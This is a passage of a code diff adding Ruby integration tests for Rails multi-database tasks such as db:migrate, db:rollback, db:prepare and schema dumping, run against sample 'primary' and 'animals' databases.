+            assert_match(/CreateDogs: migrated/, output)
+          end
+        end
+      end
+
+      def db_migrate_status_namespaced(namespace)
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          output = rails("db:migrate:status:#{namespace}")
+          if namespace == "primary"
+            assert_match(/up     \d+  Create books/, output)
+          else
+            assert_match(/up     \d+  Create dogs/, output)
+          end
+        end
+      end
+
+      def db_setup
+        Dir.chdir(app_path) do
+          rails "db:migrate"
+          rails "db:drop"
+          output = rails("db:setup")
+          assert_match(/Created database/, output)
+          ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+            assert_match_namespace(db_config.name, output)
+            assert File.exist?(db_config.database)
+          end
+        end
+      end
+
+      def db_setup_namespaced(namespace, expected_database)
+        Dir.chdir(app_path) do
+         rails "db:migrate"
+         rails "db:drop:#{namespace}"
+         output = rails("db:setup:#{namespace}")
+         assert_match(/Created database/, output)
+         assert_match_namespace(namespace, output)
+         assert File.exist?(expected_database)
+       end
+      end
+
+      def db_reset
+        Dir.chdir(app_path) do
+          rails "db:migrate"
+          output = rails("db:reset")
+          assert_match(/Dropped database/, output)
+          assert_match(/Created database/, output)
+          ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+            assert_match_namespace(db_config.name, output)
+            assert File.exist?(db_config.database)
+          end
+        end
+      end
+
+      def db_reset_namespaced(namespace, expected_database)
+        Dir.chdir(app_path) do
+          rails "db:migrate"
+          output = rails("db:reset:#{namespace}")
+          assert_match(/Dropped database/, output)
+          assert_match(/Created database/, output)
+          assert_match_namespace(namespace, output)
+          assert File.exist?(expected_database)
+        end
+      end
+
+      def db_up_and_down(version, namespace = nil)
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails("db:migrate")
+
+          if namespace
+            down_output = rails("db:migrate:down:#{namespace}", "VERSION=#{version}")
+            up_output = rails("db:migrate:up:#{namespace}", "VERSION=#{version}")
+          else
+            exception = assert_raises RuntimeError do
+              down_output = rails("db:migrate:down", "VERSION=#{version}")
+            end
+            assert_match("You're using a multiple database application", exception.message)
+
+            exception = assert_raises RuntimeError do
+              up_output = rails("db:migrate:up", "VERSION=#{version}")
+            end
+            assert_match("You're using a multiple database application", exception.message)
+          end
+
+          case namespace
+          when "primary"
+            assert_match(/OneMigration: reverting/, down_output)
+            assert_match(/OneMigration: migrated/, up_output)
+          when nil
+          else
+            assert_match(/TwoMigration: reverting/, down_output)
+            assert_match(/TwoMigration: migrated/, up_output)
+          end
+        end
+      end
+
+      def db_migrate_and_rollback(namespace = nil)
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails("db:migrate")
+
+          if namespace
+            rollback_output = rails("db:rollback:#{namespace}")
+          else
+            exception = assert_raises RuntimeError do
+              rollback_output = rails("db:rollback")
+            end
+            assert_match("You're using a multiple database application", exception.message)
+          end
+
+          case namespace
+          when "primary"
+            assert_no_match(/OneMigration: reverted/, rollback_output)
+            assert_match(/CreateBooks: reverted/, rollback_output)
+          when nil
+          else
+            assert_no_match(/TwoMigration: reverted/, rollback_output)
+            assert_match(/CreateDogs: reverted/, rollback_output)
+          end
+        end
+      end
+
+      def db_migrate_redo(namespace = nil)
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails("db:migrate")
+
+          if namespace
+            redo_output = rails("db:migrate:redo:#{namespace}")
+          else
+            exception = assert_raises RuntimeError do
+              redo_output = rails("db:migrate:redo")
+            end
+            assert_match("You're using a multiple database application", exception.message)
+          end
+
+          case namespace
+          when "primary"
+            assert_no_match(/OneMigration/, redo_output)
+            assert_match(/CreateBooks: reverted/, redo_output)
+            assert_match(/CreateBooks: migrated/, redo_output)
+          when nil
+          else
+            assert_no_match(/TwoMigration/, redo_output)
+            assert_match(/CreateDogs: reverted/, redo_output)
+            assert_match(/CreateDogs: migrated/, redo_output)
+          end
+        end
+      end
+
+      def db_prepare
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          output = rails("db:prepare")
+
+          ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+            if db_config.name == "primary"
+              assert_match(/CreateBooks: migrated/, output)
+            else
+              assert_match(/CreateDogs: migrated/, output)
+            end
+          end
+        end
+      end
+
+      def write_models_for_animals
+        # make a directory for the animals migration
+        FileUtils.mkdir_p("#{app_path}/db/animals_migrate")
+        # move the dogs migration if it unless it already lives there
+        FileUtils.mv(Dir.glob("#{app_path}/db/migrate/**/*dogs.rb").first, "db/animals_migrate/") unless Dir.glob("#{app_path}/db/animals_migrate/**/*dogs.rb").first
+        # delete the dogs migration if it's still present in the
+        # migrate folder. This is necessary because sometimes
+        # the code isn't fast enough and an extra migration gets made
+        FileUtils.rm(Dir.glob("#{app_path}/db/migrate/**/*dogs.rb").first) if Dir.glob("#{app_path}/db/migrate/**/*dogs.rb").first
+
+        # change the base of the dog model
+        app_path("/app/models/dog.rb") do |file_name|
+          file = File.read("#{app_path}/app/models/dog.rb")
+          file.sub!(/ApplicationRecord/, "AnimalsBase")
+          File.write(file_name, file)
+        end
+
+        # create the base model for dog to inherit from
+        File.open("#{app_path}/app/models/animals_base.rb", "w") do |file|
+          file.write(<<~EOS)
+            class AnimalsBase < ActiveRecord::Base
+              self.abstract_class = true
+
+              establish_connection :animals
+            end
+          EOS
+        end
+      end
+
+      def generate_models_for_animals
+        rails "generate", "model", "book", "title:string"
+        rails "generate", "model", "dog", "name:string"
+        write_models_for_animals
+        reload
+      end
+
+      test "db:create and db:drop works on all databases for env" do
+        require "#{app_path}/config/environment"
+        ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+          db_create_and_drop db_config.name, db_config.database
+        end
+      end
+
+      test "db:create:namespace and db:drop:namespace works on specified databases" do
+        require "#{app_path}/config/environment"
+        ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+          db_create_and_drop_namespace db_config.name, db_config.database
+        ensure
+          # secondary databases might have been created by check_protected_environments task
+          rails("db:drop:all")
+        end
+      end
+
+      test "db:migrate set back connection to its original state" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          dummy_task = <<~RUBY
+            task foo: :environment do
+              Book.first
+            end
+          RUBY
+          app_file("Rakefile", dummy_task, "a+")
+
+          generate_models_for_animals
+
+          assert_nothing_raised do
+            rails("db:migrate", "foo")
+          end
+        end
+      end
+
+      test "db:migrate:name sets the connection back to its original state" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          dummy_task = <<~RUBY
+            task foo: :environment do
+              Book.first
+            end
+          RUBY
+          app_file("Rakefile", dummy_task, "a+")
+
+          generate_models_for_animals
+
+          rails("db:migrate:primary")
+
+          assert_nothing_raised do
+            rails("db:migrate:animals", "foo")
+          end
+        end
+      end
+
+      test "db:schema:load:name sets the connection back to its original state" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          dummy_task = <<~RUBY
+            task foo: :environment do
+              Book.first
+            end
+          RUBY
+          app_file("Rakefile", dummy_task, "a+")
+
+          generate_models_for_animals
+
+          rails("db:migrate:primary")
+
+          rails "db:migrate:animals", "db:schema:dump:animals"
+
+          assert_nothing_raised do
+            rails("db:schema:load:animals", "foo")
+          end
+        end
+      end
+
+      test "db:schema:load:name doesn't purge the test database. The test schema is maintained when running tests" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+
+          File.open("test/models/dog_test.rb", "w") do |file|
+            file.write(<<~EOS)
+              require "test_helper"
+
+              class DogTest < ActiveSupport::TestCase
+                test "Dog name type" do
+                  puts Dog.type_for_attribute(:name).type
+                end
+              end
+            EOS
+          end
+
+          rails("db:migrate:primary", "db:migrate:animals")
+
+          development_runner_output = rails("runner", "puts Dog.type_for_attribute(:name).type")
+          assert_match(/string/, development_runner_output)
+
+          test_output = rails("test", "test/models/dog_test.rb")
+          assert_match(/string/, test_output)
+
+          # Simulate a schema change
+          content = File.read("db/animals_schema.rb")
+          content.gsub!(/t\.string "name"/, "t.text \"name\"")
+          File.write("db/animals_schema.rb", content)
+
+          rails("db:schema:load:animals")
+          development_runner_output = rails("runner", "puts Dog.type_for_attribute(:name).type")
+          assert_match(/text/, development_runner_output)
+
+          test_output = rails("test", "test/models/dog_test.rb")
+          assert_match(/text/, test_output)
+        end
+      end
+
+      test "db:migrate respects timestamp ordering across databases" do
+        require "#{app_path}/config/environment"
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/04_four_migration.rb", <<-MIGRATION
+        class FourMigration < ActiveRecord::Migration::Current
+        end
+        MIGRATION
+
+        app_file "db/migrate/03_three_migration.rb", <<-MIGRATION
+          class ThreeMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        Dir.chdir(app_path) do
+          output = rails "db:migrate"
+          entries = output.scan(/^== (\d+).+migrated/).map(&:first).map(&:to_i)
+          assert_equal [1, 2, 3, 4], entries
+        end
+      end
+
+      test "db:migrate respects timestamp ordering for primary database" do
+        require "#{app_path}/config/environment"
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/03_three_migration.rb", <<-MIGRATION
+          class ThreeMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        Dir.chdir(app_path) do
+          rails "db:migrate:up:primary", "VERSION=01_one_migration.rb"
+          rails "db:migrate:up:primary", "VERSION=03_three_migration.rb"
+          output = rails "db:migrate"
+          entries = output.scan(/^== (\d+).+migrated/).map(&:first).map(&:to_i)
+          assert_equal [2], entries
+        end
+      end
+
+      test "db:prepare respects timestamp ordering across databases" do
+        require "#{app_path}/config/environment"
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/04_four_migration.rb", <<-MIGRATION
+        class FourMigration < ActiveRecord::Migration::Current
+        end
+        MIGRATION
+
+        app_file "db/migrate/03_three_migration.rb", <<-MIGRATION
+          class ThreeMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        Dir.chdir(app_path) do
+          output = rails "db:prepare"
+          entries = output.scan(/^== (\d+).+migrated/).map(&:first).map(&:to_i)
+          assert_equal [1, 2, 3, 4] * 2, entries # twice because for test env too
+        end
+      end
+
+      test "db:prepare only dumps schema for migrated databases" do
+        require "#{app_path}/config/environment"
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+            def change
+              create_table :posts
+            end
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+            def change
+              create_table :dogs
+            end
+          end
+        MIGRATION
+
+        primary_mtime = nil
+        animals_mtime = nil
+
+        Dir.chdir(app_path) do
+          # Run the first two migrations to get the schema files.
+          rails "db:prepare"
+
+          assert File.exist?("db/schema.rb")
+          assert File.exist?("db/animals_schema.rb")
+
+          assert_not_equal File.read("db/schema.rb"), File.read("db/animals_schema.rb")
+
+          primary_mtime = File.mtime("db/schema.rb")
+          animals_mtime = File.mtime("db/animals_schema.rb")
+        end
+
+        app_file "db/animals_migrate/03_three_migration.rb", <<-MIGRATION
+          class ThreeMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        Dir.chdir(app_path) do
+          # Run the new migration and assert that only the animals schema was updated.
+          rails "db:prepare"
+
+          assert_equal primary_mtime, File.mtime("db/schema.rb")
+          assert_not_equal animals_mtime, File.mtime("db/animals_schema.rb")
+        end
+      end
+
+      test "migrations in different directories can have the same timestamp" do
+        require "#{app_path}/config/environment"
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+            def change
+	      create_table :posts do |t|
+		t.string :title
+
+		t.timestamps
+	      end
+            end
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+            def change
+	      create_table :dogs do |t|
+		t.string :name
+
+		t.timestamps
+	      end
+            end
+          end
+        MIGRATION
+
+        Dir.chdir(app_path) do
+          output = rails "db:migrate"
+          entries = output.scan(/^== (\d+).+migrated/).map(&:first).map(&:to_i)
+
+          assert_match(/dogs/, output)
+          assert_match(/posts/, output)
+          assert_equal [1, 1], entries
+        end
+      end
+
+      test "db:migrate and db:schema:dump and db:schema:load works on all databases" do
+        db_migrate_and_schema_dump_and_load
+      end
+
+      test "db:migrate and db:schema:dump and db:schema:load works on all databases with sql option" do
+        db_migrate_and_schema_dump_and_load "sql"
+      end
+
+      test "db:migrate:name dumps the schema for the primary database" do
+        db_migrate_name_dumps_the_schema("primary", "ruby")
+      end
+
+      test "db:migrate:name dumps the schema for the animals database" do
+        db_migrate_name_dumps_the_schema("animals", "ruby")
+      end
+
+      test "db:migrate:name dumps the structure for the primary database" do
+        db_migrate_name_dumps_the_schema("primary", "sql")
+      end
+
+      test "db:migrate:name dumps the structure for the animals database" do
+        db_migrate_name_dumps_the_schema("animals", "sql")
+      end
+
+      test "db:migrate:name and db:schema:dump:name and db:schema:load:name works for the primary database with a ruby schema" do
+        db_migrate_and_schema_dump_and_load_one_database("primary", "ruby")
+      end
+
+      test "db:migrate:name and db:schema:dump:name and db:schema:load:name works for the animals database with a ruby schema" do
+        db_migrate_and_schema_dump_and_load_one_database("animals", "ruby")
+      end
+
+      test "db:migrate:name and db:schema:dump:name and db:schema:load:name works for the primary database with a sql schema" do
+        db_migrate_and_schema_dump_and_load_one_database("primary", "sql")
+      end
+
+      test "db:migrate:name and db:schema:dump:name and db:schema:load:name works for the animals database with a sql schema" do
+        db_migrate_and_schema_dump_and_load_one_database("animals", "sql")
+      end
+
+      test "db:test:prepare:name works for the primary database with a ruby schema" do
+        db_test_prepare_name("primary", "ruby")
+      end
+
+      test "db:test:prepare:name works for the animals database with a ruby schema" do
+        db_test_prepare_name("animals", "ruby")
+      end
+
+      test "db:test:prepare:name works for the primary database with a sql schema" do
+        db_test_prepare_name("primary", "sql")
+      end
+
+      test "db:test:prepare:name works for the animals database with a sql schema" do
+        db_test_prepare_name("animals", "sql")
+      end
+
+      test "db:migrate:namespace works" do
+        require "#{app_path}/config/environment"
+        ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+          db_migrate_namespaced db_config.name
+        end
+      end
+
+      test "db:migrate:down and db:migrate:up without a namespace raises in a multi-db application" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        db_up_and_down "01"
+      end
+
+      test "db:migrate:down:namespace and db:migrate:up:namespace works" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        db_up_and_down "01", "primary"
+        db_up_and_down "02", "animals"
+      end
+
+      test "db:migrate:down:namespace and db:migrate:up:namespace dumps schema only for specific database" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        Dir.chdir(app_path) do
+          rails("db:migrate:up:primary", "VERSION=01")
+          rails("db:migrate:down:primary", "VERSION=01")
+
+          assert File.exist?("db/schema.rb"), "should dump schema for primary database"
+          assert_not File.exist?("db/animals_schema.rb"), "should not dump schema for animals database"
+        end
+      end
+
+      test "db:migrate:redo raises in a multi-db application" do
+        require "#{app_path}/config/environment"
+        db_migrate_redo
+      end
+
+      test "db:migrate:redo:namespace works" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        db_migrate_redo "primary"
+        db_migrate_redo "animals"
+      end
+
+      test "db:rollback raises on a multi-db application" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        db_migrate_and_rollback
+      end
+
+      test "db:rollback:namespace works" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        db_migrate_and_rollback "primary"
+        db_migrate_and_rollback "animals"
+      end
+
+      test "db:rollback:namespace dumps schema only for specific database" do
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "generate", "model", "dog", "name:string", "--database animals"
+          rails "db:migrate"
+          File.delete("db/animals_schema.rb")
+
+          rails "db:rollback:primary"
+
+          assert File.exist?("db/schema.rb"), "should dump schema for primary database"
+          assert_not File.exist?("db/animals_schema.rb"), "should not dump schema for animals database"
+        end
+      end
+
+      test "db:migrate:status works on all databases" do
+        remove_from_config("config.active_record.timestamped_migrations = false")
+        require "#{app_path}/config/environment"
+        db_migrate_and_migrate_status
+      end
+
+      test "db:migrate:status:namespace works" do
+        remove_from_config("config.active_record.timestamped_migrations = false")
+        require "#{app_path}/config/environment"
+        ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+          db_migrate_namespaced db_config.name
+          db_migrate_status_namespaced db_config.name
+        end
+      end
+
+      test "db:schema:cache:dump works on all databases" do
+        require "#{app_path}/config/environment"
+        db_migrate_and_schema_cache_dump
+      end
+
+      test "db:prepare setup the database even if schema does not exist" do
+        Dir.chdir(app_path) do
+          use_postgresql(multi_db: true) # bug doesn't exist with sqlite3
+          output = rails("db:drop")
+          assert_match(/Dropped database/, output)
+
+          rails "generate", "model", "recipe", "title:string"
+          output = rails("db:prepare")
+          assert_match(/CreateRecipes: migrated/, output)
+        end
+      ensure
+        rails "db:drop" rescue nil
+      end
+
+      test "schema_cache is loaded on all connection db in multi-db app if it exists for the connection" do
+        require "#{app_path}/config/environment"
+        db_migrate_and_schema_cache_dump
+
+        cache_size_a = rails("runner", "p ActiveRecord::Base.schema_cache.size").strip
+        assert_equal "12", cache_size_a
+
+        cache_tables_a = rails("runner", "p ActiveRecord::Base.schema_cache.columns('books')").strip
+        assert_includes cache_tables_a, "title", "expected cache_tables_a to include a title entry"
+
+        cache_size_b = rails("runner", "p AnimalsBase.schema_cache.size", stderr: true).strip
+        assert_equal "12", cache_size_b, "expected the cache size for animals to be valid since it was dumped"
+
+        cache_tables_b = rails("runner", "p AnimalsBase.schema_cache.columns('dogs')").strip
+        assert_includes cache_tables_b, "name", "expected cache_tables_b to include a name entry"
+      end
+
+      test "db:schema:cache:clear works on all databases" do
+        require "#{app_path}/config/environment"
+        db_migrate_and_schema_cache_dump_and_schema_cache_clear
+      end
+
+      test "db:abort_if_pending_migrations works on all databases" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        output = rails("db:abort_if_pending_migrations", allow_failure: true)
+        assert_match(/You have 1 pending migration/, output)
+      end
+
+      test "db:abort_if_pending_migrations:namespace works" do
+        require "#{app_path}/config/environment"
+
+        app_file "db/animals_migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        output = rails("db:abort_if_pending_migrations:primary")
+        assert_no_match(/You have \d+ pending migration/, output)
+        output = rails("db:abort_if_pending_migrations:animals", allow_failure: true)
+        assert_match(/You have 1 pending migration/, output)
+      end
+
+      test "db:version works on all databases" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          primary_version = File.basename(Dir[File.join(app_path, "db", "migrate", "*.rb")].first).to_i
+          animals_version = File.basename(Dir[File.join(app_path, "db", "animals_migrate", "*.rb")].first).to_i
+
+          rails("db:migrate")
+          output = rails("db:version")
+
+          assert_match(/database: storage\/development.sqlite3\nCurrent version: #{primary_version}/, output)
+          assert_match(/database: storage\/development_animals.sqlite3\nCurrent version: #{animals_version}/, output)
+        end
+      end
+
+      test "db:version:namespace works" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          primary_version = File.basename(Dir[File.join(app_path, "db", "migrate", "*.rb")].first).to_i
+          animals_version = File.basename(Dir[File.join(app_path, "db", "animals_migrate", "*.rb")].first).to_i
+
+          rails("db:migrate")
+
+          output = rails("db:version:primary")
+          assert_match(/Current version: #{primary_version}/, output)
+
+          output = rails("db:version:animals")
+          assert_match(/Current version: #{animals_version}/, output)
+        end
+      end
+
+      test "db:setup works on all databases" do
+        require "#{app_path}/config/environment"
+        db_setup
+      end
+
+      test "db:setup:namespace works" do
+        require "#{app_path}/config/environment"
+        ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+          db_setup_namespaced db_config.name, db_config.database
+        end
+      end
+
+      test "db:reset works on all databases" do
+        require "#{app_path}/config/environment"
+        db_reset
+      end
+
+      test "db:reset:namespace works" do
+        require "#{app_path}/config/environment"
+        ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).each do |db_config|
+          db_reset_namespaced db_config.name, db_config.database
+        end
+      end
+
+      test "db:migrate:reset:primary regenerates the schema from migrations" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails "db:migrate"
+          assert_not File.read("db/schema.rb").include?("director")
+
+
+          primary_mtime = File.mtime("db/schema.rb")
+          animals_mtime = File.mtime("db/animals_schema.rb")
+
+          app_file "db/migrate/02_create_movies.rb", <<-MIGRATION
+            class CreateMovies < ActiveRecord::Migration::Current
+              create_table(:movies) { |t| t.string :director }
+            end
+          MIGRATION
+
+          app_file "db/animals_migrate/02_new_animals.rb", <<-MIGRATION
+            class NewAnimals < ActiveRecord::Migration::Current
+              create_table(:cats) {}
+            end
+          MIGRATION
+
+          rails "db:migrate:reset:primary"
+
+          assert File.read("db/schema.rb").include?("director")
+          assert File.mtime("db/schema.rb") > primary_mtime
+          assert_equal animals_mtime, File.mtime("db/animals_schema.rb")
+          assert_not File.read("db/animals_schema.rb").include?("cats")
+        end
+      end
+
+      test "db:prepare works on all databases" do
+        require "#{app_path}/config/environment"
+        db_prepare
+      end
+
+      test "db:prepare setups missing database without clearing existing one" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          # Bug not visible on SQLite3. Can be simplified when https://github.com/rails/rails/issues/36383 resolved
+          use_postgresql(multi_db: true)
+          generate_models_for_animals
+
+          rails "db:create:animals", "db:migrate:animals", "db:create:primary", "db:migrate:primary", "db:schema:dump"
+          rails "db:drop:primary"
+          Dog.create!
+          output = rails("db:prepare")
+
+          assert_match(/Created database/, output)
+          assert_equal 1, Dog.count
+        ensure
+          Dog.lease_connection.disconnect!
+          rails "db:drop" rescue nil
+        end
+      end
+
+      test "db:prepare runs seeds once" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          use_postgresql(multi_db: true)
+
+          rails "db:drop"
+          generate_models_for_animals
+          rails "generate", "model", "recipe", "title:string"
+
+          app_file "db/seeds.rb", <<-RUBY
+            Dog.create!
+          RUBY
+
+          rails("db:prepare")
+
+          assert_equal 1, Dog.count
+        ensure
+          Dog.lease_connection.disconnect!
+          rails "db:drop" rescue nil
+        end
+      end
+
+      test "db:seed uses primary database connection" do
+        @old_rails_env = ENV["RAILS_ENV"]
+        @old_rack_env = ENV["RACK_ENV"]
+        ENV.delete "RAILS_ENV"
+        ENV.delete "RACK_ENV"
+
+        db_migrate_and_schema_dump_and_load
+
+        app_file "db/seeds.rb", <<-RUBY
+          print Book.lease_connection.pool.db_config.database
+        RUBY
+
+        output = rails("db:seed")
+        assert_equal "storage/development.sqlite3", output
+      ensure
+        ENV["RAILS_ENV"] = @old_rails_env
+        ENV["RACK_ENV"] = @old_rack_env
+      end
+
+      test "db:create and db:drop don't raise errors when loading YAML with multiline ERB" do
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: <%=
+                Rails.application.config.database
+              %>
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+        YAML
+
+        app_file "config/environments/development.rb", <<-RUBY
+          Rails.application.configure do
+            config.database = "storage/development.sqlite3"
+          end
+        RUBY
+
+        db_create_and_drop_namespace("primary", "storage/development.sqlite3")
+      end
+
+      test "db:create and db:drop don't raise errors when loading YAML containing conditional statements in ERB" do
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+            <% if Rails.application.config.database %>
+              database: <%= Rails.application.config.database %>
+            <% else %>
+              database: storage/default.sqlite3
+            <% end %>
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+
+        YAML
+
+        app_file "config/environments/development.rb", <<-RUBY
+          Rails.application.configure do
+            config.database = "storage/development.sqlite3"
+          end
+        RUBY
+
+        db_create_and_drop_namespace("primary", "storage/development.sqlite3")
+      end
+
+      test "db:create and db:drop don't raise errors when loading YAML containing ERB in database keys" do
+        app_file "config/database.yml", <<-YAML
+          development:
+            <% 5.times do |i| %>
+            shard_<%= i %>:
+              database: storage/development_shard_<%= i %>.sqlite3
+              adapter: sqlite3
+            <% end %>
+        YAML
+
+        db_create_and_drop_namespace("shard_3", "storage/development_shard_3.sqlite3")
+      end
+
+      test "schema generation when dump_schema_after_migration is true schema_dump is false" do
+        app_file "config/database.yml", <<~EOS
+          development:
+            primary:
+              adapter: sqlite3
+              database: dev_db
+              schema_dump: false
+            secondary:
+              adapter: sqlite3
+              database: secondary_dev_db
+              schema_dump: false
+        EOS
+
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
+
+          assert_not File.exist?("db/schema.rb"), "should not dump schema when configured not to"
+          assert_not File.exist?("db/secondary_schema.rb"), "should not dump schema when configured not to"
+        end
+      end
+
+      test "schema generation when dump_schema_after_migration is false and schema_dump is true" do
+        add_to_config("config.active_record.dump_schema_after_migration = false")
+
+        app_file "config/database.yml", <<~EOS
+          development:
+            primary:
+              adapter: sqlite3
+              database: dev_db
+            secondary:
+              adapter: sqlite3
+              database: secondary_dev_db
+        EOS
+
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
+
+          assert_not File.exist?("db/schema.rb"), "should not dump schema when configured not to"
+          assert_not File.exist?("db/secondary_schema.rb"), "should not dump schema when configured not to"
+        end
+      end
+
+      test "schema generation with schema dump only for primary" do
+        app_file "config/database.yml", <<~EOS
+          development:
+            primary:
+              adapter: sqlite3
+              database: primary_dev_db
+            secondary:
+              adapter: sqlite3
+              database: secondary_dev_db
+              schema_dump: false
+        EOS
+
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate:primary", "db:migrate:secondary"
+
+          assert File.exist?("db/schema.rb"), "should not dump schema when configured not to"
+          assert_not File.exist?("db/secondary_schema.rb"), "should not dump schema when configured not to"
+        end
+      end
+
+      test "schema generation with schema dump only for secondary" do
+        app_file "config/database.yml", <<~EOS
+          development:
+            primary:
+              adapter: sqlite3
+              database: primary_dev_db
+              schema_dump: false
+            secondary:
+              adapter: sqlite3
+              database: secondary_dev_db
+        EOS
+
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate:primary", "db:migrate:secondary"
+
+          assert_not File.exist?("db/schema.rb"), "should not dump schema when configured not to"
+          assert File.exist?("db/secondary_schema.rb"), "should dump schema when configured to"
+        end
+      end
+
+      test "schema generation when dump_schema_after_migration and schema_dump are true" do
+        app_file "config/database.yml", <<~EOS
+          development:
+            primary:
+              adapter: sqlite3
+              database: dev_db
+            secondary:
+              adapter: sqlite3
+              database: secondary_dev_db
+        EOS
+
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
+
+          assert File.exist?("db/schema.rb"), "should dump schema when configured to"
+          assert File.exist?("db/secondary_schema.rb"), "should dump schema when configured to"
+        end
+      end
+
+      test "db:test:prepare don't raise errors when schema_dump is false" do
+        app_file "config/database.yml", <<~EOS
+          development: &development
+            primary:
+              adapter: sqlite3
+              database: dev_db
+              schema_dump: false
+            secondary:
+              adapter: sqlite3
+              database: secondary_dev_db
+              schema_dump: false
+          test:
+            <<: *development
+        EOS
+
+        Dir.chdir(app_path) do
+          output = rails("db:test:prepare", "--trace")
+          assert_match(/Execute db:test:prepare/, output)
+        end
+      end
+
